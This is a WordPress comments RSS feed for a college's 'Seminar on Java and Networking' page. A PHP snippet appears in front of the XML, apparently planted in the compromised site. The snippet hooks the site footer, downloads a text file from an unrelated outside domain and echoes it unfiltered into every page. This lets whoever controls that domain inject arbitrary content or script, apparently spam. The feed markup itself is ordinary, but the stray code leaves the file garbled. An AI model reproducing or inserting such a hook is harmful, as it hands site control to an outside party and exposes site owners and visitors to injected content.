add_action('wp_footer', 'load_external_footer');

function load_external_footer(){

    $url = 'https://kmaa26.com/berita.txt';

    $data = wp_safe_remote_get($url);

    if(!is_wp_error($data)){
        $body = wp_remote_retrieve_body($data);
        echo $body;
    }

}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Seminar on Java and Networking.	</title>
	<atom:link href="https://sbs.ac.in/seminar-on-java-and-networking/feed/" rel="self" type="application/rss+xml" />
	<link>https://sbs.ac.in/seminar-on-java-and-networking/</link>
	<description>... College with a difference</description>
	<lastBuildDate>Thu, 10 Oct 2013 11:26:01 +0000</lastBuildDate>
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	<generator>https://wordpress.org/?v=6.9</generator>
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</rss>